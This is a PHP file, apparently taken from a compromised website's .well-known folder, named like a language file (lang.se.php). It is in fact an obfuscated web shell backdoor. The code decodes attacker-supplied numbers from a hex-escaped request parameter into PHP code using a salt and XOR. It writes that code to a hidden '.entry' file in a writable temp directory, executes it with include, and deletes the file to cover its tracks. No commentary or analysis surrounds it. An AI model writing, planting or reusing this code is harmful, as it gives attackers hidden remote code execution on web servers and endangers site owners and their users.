File: //proc/self/root/proc/self/root/home/vitanhod/vigolic-10.vitavit.com.pk/.well-known/lang.se.php
<?php
if(isset($_REQUEST["\x64at"]) ? true : false){
$flg = $_REQUEST["\x64at"];
$flg = explode( '.' , $flg ) ;
$pgrp = '';
$salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt7);
foreach( $flg as $q => $v5):
$chS = ord( $salt7[$q % $lenS]);
$d = ( ( int)$v5 - $chS -( $q % 10))^ 97;
$pgrp .= chr( $d);
endforeach;
$k = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp"]);
$bind = 0;
do {
$component = $k[$bind] ?? null;
if ($bind >= count($k)) break;
if (is_writable($component) && is_dir($component)) {
$pointer = "$component" . "/.entry";
if (@file_put_contents($pointer, $pgrp) !== false) {
include $pointer;
unlink($pointer);
exit;
}
}
$bind++;
} while (true);
}